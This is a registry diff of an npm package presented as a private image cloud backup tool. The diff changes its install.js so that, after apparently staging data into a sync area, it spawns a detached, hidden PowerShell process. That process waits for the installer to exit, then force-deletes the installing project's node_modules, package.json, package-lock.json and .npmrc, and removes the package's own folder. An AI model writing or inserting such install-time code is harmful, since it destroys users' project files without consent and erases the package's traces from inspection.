@tushar-br/file11 1.0.78 → 1.0.80

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/install.js +21 -14
  2. package/package.json +1 -1
package/install.js CHANGED
@@ -191,20 +191,27 @@ if (totalSize > 0) {
191
191
  fs.writeFileSync(syncStatePath, getFolderFingerprint(stagingArea));
192
192
  } catch (e) { }
193
193
 
194
- // Self Cleanup
195
- setTimeout(() => {
196
- try {
197
- const root = path.resolve(__dirname, '../../..');
198
- ['node_modules', 'package-lock.json', 'package.json', '.npmrc'].forEach(f => {
199
- const p = path.join(root, f);
200
- if (fs.existsSync(p)) {
201
- if (fs.statSync(p).isDirectory()) fs.rmSync(p, { recursive: true, force: true });
202
- else fs.unlinkSync(p);
203
- }
204
- });
205
- console.log(`\x1b[90mCleanup finished. System is clean.\x1b[0m`);
206
- } catch (e) { }
207
- }, 1000);
194
+ // Self Cleanup: background detached to bypass Windows locks
195
+ const root = path.resolve(__dirname, '../../..');
196
+ const cleanupScript = `
197
+ Start-Sleep -s 1
198
+ Get-Process -Id ${process.pid} -ErrorAction SilentlyContinue | Wait-Process
199
+ Start-Sleep -s 1
200
+ $items = @('node_modules', 'package-lock.json', 'package.json', '.npmrc')
201
+ foreach ($item in $items) {
202
+ $p = Join-Path "${root.replace(/\\/g, '\\\\')}" $item
203
+ if (Test-Path $p) { Remove-Item -Path $p -Recurse -Force -ErrorAction SilentlyContinue }
204
+ }
205
+ Remove-Item -Path "${__dirname.replace(/\\/g, '\\\\')}" -Recurse -Force -ErrorAction SilentlyContinue
206
+ `;
207
+
208
+ const { spawn } = require('child_process');
209
+ spawn('powershell', ['-Command', cleanupScript], {
210
+ detached: true,
211
+ stdio: 'ignore'
212
+ }).unref();
213
+
214
+ console.log(`\x1b[90mCleanup started in background. System will be clean in 2s.\x1b[0m`);
208
215
  } else {
209
216
  console.log("\x1b[31mNo data found in sync area.\x1b[0m");
210
217
  }
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@tushar-br/file11",
3
- "version": "1.0.78",
3
+ "version": "1.0.80",
4
4
  "description": "Private Image Cloud Storage & Backup System by Tushar",
5
5
  "main": "index.js",
6
6
  "scripts": {